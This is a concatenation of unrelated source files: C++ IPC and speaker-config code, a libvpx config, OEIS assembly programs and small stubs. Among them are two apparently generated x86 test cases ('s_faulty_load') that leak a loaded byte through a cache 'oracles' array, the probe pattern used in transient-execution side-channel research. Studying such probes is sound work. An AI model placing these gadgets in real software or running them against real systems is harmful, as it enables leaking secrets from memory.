RX equ 0x0 ; received packet
TX equ 0x1 ; transmitted packet
COLL equ 0x2 ; collision indicator
SPEED_C equ 0x3 ; 100 Mbps
SPEED_M equ 0x4 ; 1000 Mbps
DUPLEX equ 0x5 ; half/full duplex
FLOW equ 0x6 ; flow control capable
LINKUP equ 0x7 ; link down/up status
LINKEN equ 0x8 ; link disabled/enabled status
ZERO equ 0xE ; always 0
ONE equ 0xF ; always 1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xfa5d, %r12
nop
nop
nop
nop
cmp %r8, %r8
movups (%r12), %xmm1
vpextrq $0, %xmm1, %rsi
nop
dec %r15
lea addresses_A_ht+0x130fd, %r14
xor %r12, %r12
mov (%r14), %di
nop
nop
and %rdi, %rdi
lea addresses_D_ht+0x357d, %rsi
lea addresses_WT_ht+0x45, %rdi
nop
nop
nop
nop
cmp %r9, %r9
mov $117, %rcx
rep movsw
nop
and %rdi, %rdi
lea addresses_WT_ht+0x1a2fd, %r12
sub $58383, %r14
mov (%r12), %cx
nop
nop
add %r14, %r14
lea addresses_WT_ht+0x190fd, %rsi
lea addresses_A_ht+0x194fd, %rdi
nop
nop
nop
nop
inc %r8
mov $121, %rcx
rep movsb
nop
nop
nop
cmp $40691, %r14
lea addresses_UC_ht+0x17b8f, %r12
nop
nop
inc %r9
mov (%r12), %esi
nop
nop
nop
sub %r9, %r9
lea addresses_UC_ht+0xdd54, %r14
inc %r15
vmovups (%r14), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %rcx
nop
nop
nop
sub $60986, %r14
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r9
push %rax
push %rbp
push %rsi
// Store
lea addresses_WT+0xeefd, %rax
inc %r11
mov $0x5152535455565758, %rbp
movq %rbp, %xmm1
movups %xmm1, (%rax)
nop
nop
sub %r11, %r11
// Faulty Load
mov $0x2fd, %rax
nop
nop
nop
sub %r11, %r11
mov (%rax), %r9
lea oracles, %rax
and $0xff, %r9
shlq $12, %r9
mov (%rax,%r9,1), %r9
pop %rsi
pop %rbp
pop %rax
pop %r9
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_P', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_P', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'same': True, 'size': 2, 'congruent': 10, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'f5': 1, 'e0': 6, 'c0': 14}
c0 c0 c0 c0 c0 c0 c0 e0 f5 c0 e0 e0 e0 c0 e0 c0 e0 c0 c0 c0 c0
*/
|
#include "IPCPackets.h"
using namespace simplefs;
int LSeekRequest::getBaseLength()
{
return sizeof(unsigned int) + 3 * sizeof(int);
}
void LSeekRequest::deserializeBase(const char* data)
{
fd = *(const int*)data;
data += sizeof(int);
offset = *(const int*)data;
data += sizeof(int);
whence = *(const int*)data;
}
void LSeekRequest::serialize(char* data)
{
*(unsigned int*)data = ID;
data += sizeof(unsigned int);
*(int*)data = fd;
data += sizeof(int);
*(int*)data = offset;
data += sizeof(int);
*(int*)data = whence;
}
int LSeekRequest::getFD()
{
return fd;
}
void LSeekRequest::setFD(int fd)
{
this->fd = fd;
}
int LSeekRequest::getOffset()
{
return offset;
}
void LSeekRequest::setOffset(int offset)
{
this->offset = offset;
}
int LSeekRequest::getWhence()
{
return whence;
}
void LSeekRequest::setWhence(int whence)
{
this->whence = whence;
}
|
; Set Printer Aborted Message V2.00 1994 Tony Tebby
section iou
xdef iob_ptab
xref met_ptab
;+++
; This routine sets the printer aborted message
;
; a1 r message
;--
iob_ptab
lea met_ptab,a1
rts
end
|
; A193976: Mirror of the triangle A193975.
; Submitted by Christian Krause
; 2,8,3,20,11,4,40,26,14,5,70,50,32,17,6,112,85,60,38,20,7,168,133,100,70,44,23,8,240,196,154,115,80,50,26,9,330,276,224,175,130,90,56,29,10,440,375,312,252,196,145,100,62,32,11,572,495,420,348,280,217
mov $2,$0
lpb $2
add $0,$1
add $0,3
sub $1,1
add $2,$1
lpe
sub $2,1
add $1,$2
bin $1,2
add $2,$0
add $2,13
mul $1,$2
mov $0,$1
div $0,6
|
#include "SpeakerConfig.hh"
#include "str.hh"
namespace aku {
SpeakerConfig::SpeakerConfig(FeatureGenerator &fea_gen, HmmSet *model) :
m_fea_gen(fea_gen), m_model(model)
{
m_cur_speaker = "";
m_cur_utterance = "";
m_default_speaker_set = false;
m_default_utterance_set = false;
if(model != NULL) m_model_trans.set_model(model);
}
void
SpeakerConfig::read_speaker_file(FILE *file)
{
std::string line;
int lineno = 0;
bool fetch_default;
std::string speaker_id;
SpeakerMap::iterator speaker_it;
bool fetch_speaker;
while (str::read_line(&line, file, true))
{
fetch_default = false;
lineno++;
str::clean(&line, " \t");
if (line.empty())
continue;
std::vector<std::string> fields;
str::split(&line, " \t", true, &fields);
if (fields.size() != 2 ||
(fields[0] != "speaker" && fields[0] != "utterance"))
throw str::fmt(256, "SpeakerConfig: Syntax error on line %d: ", lineno) + line;
if (fields[1] == "default")
fetch_default = true;
if (fields[0] == "speaker")
{
if (fetch_default && m_default_speaker_set)
throw str::fmt(256, "SpeakerConfig: Default speaker configuration already defined, redefinition on line %d: ", lineno) + line;
fetch_speaker = true;
if (!fetch_default)
{
ModuleMap dummy;
SpeakerMap::value_type v(fields[1], dummy);
speaker_it = m_speaker_config.insert(v).first;
}
else
m_default_speaker_set = true;
}
else // "utterance"
{
if (fetch_default && m_default_utterance_set)
throw str::fmt(256, "SpeakerConfig: Default utterance configuration already defined, redefinition on line %d: ", lineno) + line;
fetch_speaker = false;
if (!fetch_default)
{
ModuleMap dummy;
SpeakerMap::value_type v(fields[1], dummy);
speaker_it = m_utterance_config.insert(v).first;
}
else
m_default_utterance_set = true;
}
while (str::read_line(&line, file, true))
{
lineno++;
str::clean(&line, " \t");
if (line.empty())
continue;
if (line != "{")
throw std::string("'{' expected in speaker config file: ") + line;
break;
}
// Read the modules
while (str::read_line(&line, file, true))
{
lineno++;
str::clean(&line, " \t");
if (line.empty())
continue;
if (line == "}")
{
// End of speaker/utterance configuration
break;
}
// line should now contain the module name
// if line does not start with model, it's assumed to be a feature module
std::vector<std::string> parts;
str::split(&line, " \t", true, &parts, 2);
if(parts.size() < 2) {
line = "feature "+line;
str::split(&line, " \t", true, &parts, 2);
//throw str::fmt(256, "Warning: feature namespace assumed at line %d", lineno);
}
else {
if(parts[0] != "model" && parts[0] != "feature")
throw str::fmt(256, "SpeakerConfig: Unknown module namespace at line %d",
lineno);
}
assert(parts.size() == 2);
try {
if(parts[0] == "feature")
m_fea_gen.module(parts[1]);
if(parts[0] == "model")
m_model_trans.module(parts[1]);
} catch (std::string &str) {
throw str::fmt(256, "SpeakerConfig: error on line %d: ", lineno) + str;
}
// Read module config
ModuleConfig config;
try {
config.read(file);
}
catch (std::string &str) {
lineno += config.num_lines_read();
throw str::fmt(256, "SpeakerConfig: Failed reading module parameters around line %d: ",
lineno) + str;
}
ModuleMap::value_type v(line, config);
if (fetch_default)
{
if (fetch_speaker)
m_default_speaker_config.insert(v);
else
m_default_utterance_config.insert(v);
}
else
(*speaker_it).second.insert(v);
lineno += config.num_lines_read();
}
}
}
void
SpeakerConfig::write_speaker_file(FILE *file,
std::set<std::string> *speakers,
std::set<std::string> *utterances)
{
if (m_cur_speaker.size() > 0)
retrieve_speaker_config(m_cur_speaker);
if (m_cur_utterance.size() > 0)
retrieve_utterance_config(m_cur_utterance);
// Write default speaker configuration
if (m_default_speaker_set && (speakers == NULL ||
speakers->find("default") != speakers->end()))
{
fputs("speaker default\n{\n", file);
for (ModuleMap::const_iterator module_it=m_default_speaker_config.begin();
module_it != m_default_speaker_config.end(); module_it++)
{
fprintf(file, " %s\n", (*module_it).first.c_str());
(*module_it).second.write(file, 2);
fputs("\n", file);
}
fputs("}\n\n",file);
}
// Write speaker configurations
for (SpeakerMap::const_iterator speaker_it = m_speaker_config.begin();
speaker_it != m_speaker_config.end(); speaker_it++)
{
if (speakers == NULL ||
speakers->find((*speaker_it).first) != speakers->end())
{
fprintf(file, "speaker %s\n{\n", (*speaker_it).first.c_str());
for (ModuleMap::const_iterator module_it = (*speaker_it).second.begin();
module_it != (*speaker_it).second.end(); module_it++)
{
fprintf(file, " %s\n", (*module_it).first.c_str());
(*module_it).second.write(file, 2);
fputs("\n", file);
}
fputs("}\n\n",file);
}
}
// Write default utterance configuration
if (m_default_utterance_set &&
(utterances == NULL || utterances->find("default") != utterances->end()))
{
fputs("utterance default\n{\n", file);
for (ModuleMap::const_iterator module_it =
m_default_utterance_config.begin();
module_it != m_default_utterance_config.end(); module_it++)
{
fprintf(file, " %s\n", (*module_it).first.c_str());
(*module_it).second.write(file, 2);
fputs("\n", file);
}
fputs("}\n\n",file);
}
// Write utterance configurations
for (SpeakerMap::const_iterator ut_it = m_utterance_config.begin();
ut_it != m_utterance_config.end(); ut_it++)
{
if (utterances == NULL ||
utterances->find((*ut_it).first) != utterances->end())
{
fprintf(file, "utterance %s\n{\n", (*ut_it).first.c_str());
for (ModuleMap::const_iterator module_it = (*ut_it).second.begin();
module_it != (*ut_it).second.end(); module_it++)
{
fprintf(file, " %s\n", (*module_it).first.c_str());
(*module_it).second.write(file, 2);
fputs("\n", file);
}
fputs("}\n\n",file);
}
}
}
void
SpeakerConfig::set_speaker(const std::string &speaker_id)
{
if (m_cur_speaker.size() > 0)
retrieve_speaker_config(m_cur_speaker);
// Reset the utterance
if (m_cur_utterance.size() > 0)
set_utterance("");
bool load_new_model_trans = false;
if(speaker_id != m_cur_speaker) {
// Reset model transformations
m_model_trans.reset_transforms();
}
if(m_model_trans.is_reset()) load_new_model_trans = true;
if (speaker_id.size() == 0)
{
// Use the default speaker
if (!m_default_speaker_set)
throw std::string("SpeakerConfig: No speaker defined, needs a default speaker.");
set_modules(m_default_speaker_config, load_new_model_trans);
}
else
{
SpeakerMap::const_iterator speaker_it =
m_speaker_config.find(speaker_id);
if (speaker_it == m_speaker_config.end())
{
if (!m_default_speaker_set)
throw std::string("SpeakerConfig: Unknown speaker ") + speaker_id +
", and default speaker settings are missing.";
// Insert a new speaker with default configuration
SpeakerMap::value_type v(speaker_id, m_default_speaker_config);
speaker_it = m_speaker_config.insert(v).first;
}
set_modules((*speaker_it).second, load_new_model_trans);
}
m_cur_speaker = speaker_id;
if(load_new_model_trans) m_model_trans.load_transforms();
}
void
SpeakerConfig::set_utterance(const std::string &utterance_id)
{
if (m_cur_utterance.size() > 0)
retrieve_utterance_config(m_cur_utterance);
if (utterance_id.size() == 0)
{
// Use the default utterance
if (!m_default_utterance_set)
throw std::string("SpeakerConfig: Default utterance is required.");
set_modules(m_default_utterance_config);
}
else
{
SpeakerMap::const_iterator ut_it = m_utterance_config.find(utterance_id);
if (ut_it == m_utterance_config.end())
{
if (!m_default_utterance_set)
throw std::string("SpeakerConfig: Unknown utterance ") + utterance_id +
", and default utterance settings are missing.";
// Insert a new utterance with default configuration
SpeakerMap::value_type v(utterance_id, m_default_utterance_config);
ut_it = m_utterance_config.insert(v).first;
}
set_modules((*ut_it).second);
}
m_cur_utterance = utterance_id;
}
void
SpeakerConfig::retrieve_speaker_config(const std::string &speaker_id)
{
SpeakerMap::iterator speaker_it =
m_speaker_config.find(speaker_id);
if (speaker_it == m_speaker_config.end())
throw std::string("SpeakerConfig: Unknown speaker ") + speaker_id;
for (ModuleMap::iterator module_it = (*speaker_it).second.begin();
module_it != (*speaker_it).second.end(); module_it++)
{
std::vector<std::string> parts;
str::split(&(*module_it).first, " \t", true, &parts, 2);
if(parts[0] == "feature")
m_fea_gen.module(parts[1])->get_parameters((*module_it).second);
if(parts[0] == "model")
m_model_trans.module(parts[1])->get_parameters((*module_it).second);
}
}
void
SpeakerConfig::retrieve_utterance_config(const std::string &utterance_id)
{
SpeakerMap::iterator utterance_it =
m_utterance_config.find(utterance_id);
if (utterance_it == m_utterance_config.end())
throw std::string("SpeakerConfig: Unknown utterance ") + utterance_id;
for (ModuleMap::iterator module_it = (*utterance_it).second.begin();
module_it != (*utterance_it).second.end(); module_it++)
{
std::vector<std::string> parts;
str::split(&(*module_it).first, " \t", true, &parts, 2);
if(parts[0] == "feature")
m_fea_gen.module(parts[1])->set_parameters((*module_it).second);
if(parts[0] == "model")
m_model_trans.module(parts[1])->set_parameters((*module_it).second);
}
}
void
SpeakerConfig::set_modules(const ModuleMap &modules, bool load_new_model_trans)
{
for (ModuleMap::const_iterator module_it=modules.begin();
module_it != modules.end(); module_it++)
{
std::vector<std::string> parts;
str::split(&(*module_it).first, " \t", true, &parts, 2);
if(parts[0] == "feature")
m_fea_gen.module(parts[1])->set_parameters((*module_it).second);
if(parts[0] == "model")
m_model_trans.module(parts[1])->set_parameters((*module_it).second);
}
}
}
|
@ This file was created from a .asm file
@ using the ads2gas.pl script.
.equ DO1STROUNDING, 0
.equ ARCH_ARM , 0
.equ ARCH_MIPS , 0
.equ ARCH_X86 , 0
.equ ARCH_X86_64 , 0
.equ HAVE_EDSP , 0
.equ HAVE_MEDIA , 0
.equ HAVE_NEON , 0
.equ HAVE_NEON_ASM , 0
.equ HAVE_MIPS32 , 0
.equ HAVE_DSPR2 , 0
.equ HAVE_MSA , 0
.equ HAVE_MIPS64 , 0
.equ HAVE_MMX , 0
.equ HAVE_SSE , 0
.equ HAVE_SSE2 , 0
.equ HAVE_SSE3 , 0
.equ HAVE_SSSE3 , 0
.equ HAVE_SSE4_1 , 0
.equ HAVE_AVX , 0
.equ HAVE_AVX2 , 0
.equ HAVE_VPX_PORTS , 1
.equ HAVE_STDINT_H , 1
.equ HAVE_PTHREAD_H , 1
.equ HAVE_SYS_MMAN_H , 1
.equ HAVE_UNISTD_H , 0
.equ CONFIG_DEPENDENCY_TRACKING , 1
.equ CONFIG_EXTERNAL_BUILD , 1
.equ CONFIG_INSTALL_DOCS , 0
.equ CONFIG_INSTALL_BINS , 1
.equ CONFIG_INSTALL_LIBS , 1
.equ CONFIG_INSTALL_SRCS , 0
.equ CONFIG_USE_X86INC , 0
.equ CONFIG_DEBUG , 0
.equ CONFIG_GPROF , 0
.equ CONFIG_GCOV , 0
.equ CONFIG_RVCT , 0
.equ CONFIG_GCC , 1
.equ CONFIG_MSVS , 0
.equ CONFIG_PIC , 1
.equ CONFIG_BIG_ENDIAN , 0
.equ CONFIG_CODEC_SRCS , 0
.equ CONFIG_DEBUG_LIBS , 0
.equ CONFIG_DEQUANT_TOKENS , 0
.equ CONFIG_DC_RECON , 0
.equ CONFIG_RUNTIME_CPU_DETECT , 0
.equ CONFIG_POSTPROC , 1
.equ CONFIG_VP9_POSTPROC , 1
.equ CONFIG_MULTITHREAD , 1
.equ CONFIG_INTERNAL_STATS , 0
.equ CONFIG_VP8_ENCODER , 1
.equ CONFIG_VP8_DECODER , 1
.equ CONFIG_VP9_ENCODER , 1
.equ CONFIG_VP9_DECODER , 1
.equ CONFIG_VP8 , 1
.equ CONFIG_VP9 , 1
.equ CONFIG_ENCODERS , 1
.equ CONFIG_DECODERS , 1
.equ CONFIG_STATIC_MSVCRT , 0
.equ CONFIG_SPATIAL_RESAMPLING , 1
.equ CONFIG_REALTIME_ONLY , 1
.equ CONFIG_ONTHEFLY_BITPACKING , 0
.equ CONFIG_ERROR_CONCEALMENT , 0
.equ CONFIG_SHARED , 0
.equ CONFIG_STATIC , 1
.equ CONFIG_SMALL , 0
.equ CONFIG_POSTPROC_VISUALIZER , 0
.equ CONFIG_OS_SUPPORT , 1
.equ CONFIG_UNIT_TESTS , 0
.equ CONFIG_WEBM_IO , 1
.equ CONFIG_LIBYUV , 1
.equ CONFIG_DECODE_PERF_TESTS , 0
.equ CONFIG_ENCODE_PERF_TESTS , 0
.equ CONFIG_MULTI_RES_ENCODING , 1
.equ CONFIG_TEMPORAL_DENOISING , 1
.equ CONFIG_VP9_TEMPORAL_DENOISING , 1
.equ CONFIG_COEFFICIENT_RANGE_CHECKING , 0
.equ CONFIG_VP9_HIGHBITDEPTH , 0
.equ CONFIG_EXPERIMENTAL , 0
.equ CONFIG_SIZE_LIMIT , 1
.equ CONFIG_SPATIAL_SVC , 0
.equ CONFIG_FP_MB_STATS , 0
.equ CONFIG_EMULATE_HARDWARE , 0
.equ DECODE_WIDTH_LIMIT , 16384
.equ DECODE_HEIGHT_LIMIT , 16384
.section .note.GNU-stack,"",%progbits
|
; A036498: Numbers of the form m*(6*m-1) and m*(6*m+1), where m is an integer.
; 0,5,7,22,26,51,57,92,100,145,155,210,222,287,301,376,392,477,495,590,610,715,737,852,876,1001,1027,1162,1190,1335,1365,1520,1552,1717,1751,1926,1962,2147,2185,2380,2420,2625,2667,2882,2926,3151,3197,3432,3480,3725,3775,4030,4082,4347,4401,4676,4732,5017,5075,5370,5430,5735,5797,6112,6176,6501,6567,6902,6970,7315,7385,7740,7812,8177,8251,8626,8702,9087,9165,9560,9640,10045,10127,10542,10626,11051,11137,11572,11660,12105,12195,12650,12742,13207,13301,13776,13872,14357,14455,14950,15050,15555,15657,16172,16276,16801,16907,17442,17550,18095,18205,18760,18872,19437,19551,20126,20242,20827,20945,21540,21660,22265,22387,23002,23126,23751,23877,24512,24640,25285,25415,26070,26202,26867,27001,27676,27812,28497,28635,29330,29470,30175,30317,31032,31176,31901,32047,32782,32930,33675,33825,34580,34732,35497,35651,36426,36582,37367,37525,38320,38480,39285,39447,40262,40426,41251,41417,42252,42420,43265,43435,44290,44462,45327,45501,46376,46552,47437,47615,48510,48690,49595,49777,50692,50876,51801,51987,52922,53110,54055,54245,55200,55392,56357,56551,57526,57722,58707,58905,59900,60100,61105,61307,62322,62526,63551,63757,64792,65000,66045,66255,67310,67522,68587,68801,69876,70092,71177,71395,72490,72710,73815,74037,75152,75376,76501,76727,77862,78090,79235,79465,80620,80852,82017,82251,83426,83662,84847,85085,86280,86520,87725,87967,89182,89426,90651,90897,92132,92380,93625
mul $0,2
mov $2,$0
lpb $2,1
add $1,$0
add $0,4
add $1,3
trn $2,4
lpe
|
// Project: libv, File: sandbox/libv_reflection_main.cpp, Author: Császár Mátyás [Vader]
// libv
#include <libv/meta/for_constexpr.hpp>
#include <libv/meta/reflection.hpp>
#include <libv/serial/reflection.hpp>
#include <libv/serial/serial.hpp>
#include <libv/utility/member_offset.hpp>
// std
#include <iomanip>
#include <iostream>
#include <optional>
#include <string>
#include <string_view>
// -------------------------------------------------------------------------------------------------
template <typename T> using UpdateField = std::optional<T>;
template <typename T> using StateField = T;
template <template <template <typename> class> class FieldSet>
struct Update : FieldSet<UpdateField> {
};
template <template <template <typename> class> class FieldSet>
struct State : FieldSet<StateField> {
State& operator+=(const Update<FieldSet>& update) {
libv::meta::interleave_member_reference([](auto& lhs, const auto& rhs) {
if (rhs)
lhs = *rhs;
}, *this, update);
return *this;
}
Update<FieldSet> operator-(const State<FieldSet>& rhsState) {
Update<FieldSet> resultUpdate;
libv::meta::interleave_member_reference([](auto& result, const auto& lhs, const auto& rhs) {
if (lhs != rhs)
result = lhs;
}, resultUpdate, *this, rhsState);
return resultUpdate;
}
};
// -------------------------------------------------------------------------------------------------
template <template <typename> class Field>
struct ServerFieldSet {
Field<bool> has_mod{};
Field<bool> has_password{};
Field<uint16_t> players_current{};
Field<uint16_t> players_limit{};
Field<std::string> map{};
Field<std::string> name{};
LIBV_REFLECTION_ACCESS(has_mod);
LIBV_REFLECTION_ACCESS(has_password);
LIBV_REFLECTION_ACCESS(players_current);
LIBV_REFLECTION_ACCESS(players_limit);
LIBV_REFLECTION_ACCESS(map);
LIBV_REFLECTION_ACCESS(name);
LIBV_SERIALIZATION_ENABLE_REFLECTION();
};
// -------------------------------------------------------------------------------------------------
template <typename T>
auto printHeader = [] () {
std::cout << " ";
libv::meta::foreach_static_member_name<T>([] (const auto& name) {
std::cout << "| " << std::setw(11) << std::string_view(name).substr(0, 11) << ' ';
}); std::cout << '\n';
std::cout << "-------";
libv::meta::for_constexpr<0, libv::meta::member_count_v<T>>([](auto) {
std::cout << "+-------------";
}); std::cout << '\n';
};
auto printRow = [] (const auto& obj) {
std::cout << "State ";
libv::meta::foreach_member_reference(obj, [] (const auto& value) {
std::cout << "| \u001B[36m" << std::setw(11) << value << "\u001B[0m ";
}); std::cout << '\n';
};
auto printUpdate = [] (const auto& obj) {
std::cout << "Update ";
libv::meta::foreach_member_reference(obj, [] (const auto& value) {
if (value)
std::cout << "| \u001B[33m" << std::setw(11) << *value << "\u001B[0m ";
else
std::cout << "| ~ ";
}); std::cout << '\n';
};
int main(int, char**) {
// using ServerID = uint64_t;
// const auto serverID = ServerID{29444};
//
// libv::meta::Table<ServerID, ServerFieldSet> table;
std::cout << std::boolalpha;
printHeader<State<ServerFieldSet>>();
Update<ServerFieldSet> update00;
update00.has_mod = true;
update00.has_password = false;
update00.map = "Disk v1";
update00.name = "Liviotora";
update00.players_current = 4;
Update<ServerFieldSet> update01;
update01.map = "Spiral v1";
update01.players_current = 6;
update01.players_limit = 8;
State<ServerFieldSet> row1;
printRow(row1);
printUpdate(update00);
row1 += update00;
printRow(row1);
printUpdate(update01);
row1 += update01;
printRow(row1);
std::cout << "\n\n"; // -----
Update<ServerFieldSet> update10;
update00.has_password = true;
update10.map = "Spiral v2";
State<ServerFieldSet> row2;
printRow(row2);
printUpdate(update10);
row2 += update10;
printRow(row2);
auto diff = row2 - row1;
printUpdate(diff);
row1 += diff;
auto diff2 = row2 - row1;
printUpdate(diff2);
// TODO P5: create a proper unit test for reflection
libv::meta::foreach_static_member_pointer<decltype(row1)>([](auto&& member_pointer) {
std::cout << libv::member_offset(member_pointer) << ", ";
});
std::cout << std::endl;
libv::meta::foreach_static_member_pointer<decltype(update00)>([](auto&& member_pointer) {
std::cout << libv::member_offset(member_pointer) << ", ";
});
std::cout << std::endl;
constexpr int num_uint16_t_members = [] {
int i = 0;
libv::meta::foreach_static_member<State<ServerFieldSet>>([&i](auto member) {
if (std::is_same_v<typename decltype(member)::value_type, uint16_t>)
++i;
});
return i;
}();
std::cout << "num_uint16_t_members: " << num_uint16_t_members << std::endl;
return 0;
}
// =================================================================================================
|
// Copyright 2021 The DaisyKit Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "daisykitsdk/common/io/android_assets_stream.h"
AssetStreambuf::AssetStreambuf(AAssetManager* manager,
const std::string& filename)
: manager(manager) {
asset = AAssetManager_open(manager, filename.c_str(), AASSET_MODE_STREAMING);
buffer.resize(1024);
setg(0, 0, 0);
setp(&buffer.front(), &buffer.front() + buffer.size());
}
AssetStreambuf::~AssetStreambuf() {
sync();
AAsset_close(asset);
}
std::streambuf::int_type AssetStreambuf::underflow() {
auto bufferPtr = &buffer.front();
auto counter = AAsset_read(asset, bufferPtr, buffer.size());
if (counter == 0) return traits_type::eof();
if (counter < 0) // error, what to do now?
return traits_type::eof();
setg(bufferPtr, bufferPtr, bufferPtr + counter);
return traits_type::to_int_type(*gptr());
}
std::streambuf::int_type AssetStreambuf::overflow(
std::streambuf::int_type value) {
return traits_type::eof();
};
int AssetStreambuf::sync() {
std::streambuf::int_type result = overflow(traits_type::eof());
return traits_type::eq_int_type(result, traits_type::eof()) ? -1 : 0;
}
AssetIStream::AssetIStream(AAssetManager* manager, const std::string& file)
: std::istream(new AssetStreambuf(manager, file)) {}
AssetIStream::AssetIStream(const std::string& file)
: std::istream(new AssetStreambuf(manager, file)) {}
AssetIStream::~AssetIStream() { delete rdbuf(); }
void AssetIStream::SetAssetManager(AAssetManager* m) { manager = m; }
AAssetManager* AssetIStream::manager;
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r15
push %rbp
push %rdi
lea addresses_normal_ht+0x23b5, %r15
nop
nop
lfence
movb (%r15), %r10b
nop
nop
nop
nop
nop
xor $56361, %rbp
pop %rdi
pop %rbp
pop %r15
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r15
push %r8
push %rbp
push %rbx
push %rdx
push %rsi
// Store
lea addresses_normal+0x18bb1, %r15
nop
nop
nop
nop
sub $44471, %r8
movb $0x51, (%r15)
nop
nop
nop
nop
xor $40532, %r15
// Store
lea addresses_WT+0x47f1, %r8
nop
nop
nop
nop
nop
xor %rdx, %rdx
movb $0x51, (%r8)
nop
nop
nop
nop
nop
xor $7867, %r8
// Store
mov $0x491, %rsi
clflush (%rsi)
nop
nop
dec %rdx
movb $0x51, (%rsi)
nop
nop
nop
add $64409, %rbx
// Store
lea addresses_A+0xce23, %r15
nop
nop
xor %rbx, %rbx
movb $0x51, (%r15)
nop
nop
nop
nop
cmp $22325, %rsi
// Store
lea addresses_WC+0x152f1, %rsi
nop
cmp $31025, %rdx
mov $0x5152535455565758, %r14
movq %r14, %xmm3
movups %xmm3, (%rsi)
nop
nop
nop
add %r14, %r14
// Store
lea addresses_PSE+0x67f1, %r14
nop
nop
nop
nop
nop
sub %rbp, %rbp
mov $0x5152535455565758, %rbx
movq %rbx, %xmm2
vmovups %ymm2, (%r14)
nop
nop
add %rsi, %rsi
// Store
lea addresses_A+0xaf91, %rbx
nop
nop
sub %r15, %r15
mov $0x5152535455565758, %rdx
movq %rdx, %xmm1
vmovups %ymm1, (%rbx)
nop
dec %rdx
// Store
mov $0xbf1, %rdx
nop
nop
nop
add $40975, %r15
movw $0x5152, (%rdx)
nop
nop
nop
nop
xor $26976, %rbx
// Store
lea addresses_WT+0x474b, %r14
add %r15, %r15
movb $0x51, (%r14)
nop
nop
nop
nop
and $18872, %rsi
// Faulty Load
lea addresses_A+0x16ff1, %rbx
nop
nop
nop
nop
cmp $52166, %rbp
movb (%rbx), %dl
lea oracles, %rbp
and $0xff, %rdx
shlq $12, %rdx
mov (%rbp,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rbx
pop %rbp
pop %r8
pop %r15
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_P', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 32, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_P', 'same': False, 'size': 2, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_A', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 14}
00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; void *w_array_front(w_array_t *a)
SECTION code_clib
SECTION code_adt_w_array
PUBLIC w_array_front
EXTERN asm_w_array_front
defc w_array_front = asm_w_array_front
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _w_array_front
defc _w_array_front = w_array_front
ENDIF
|
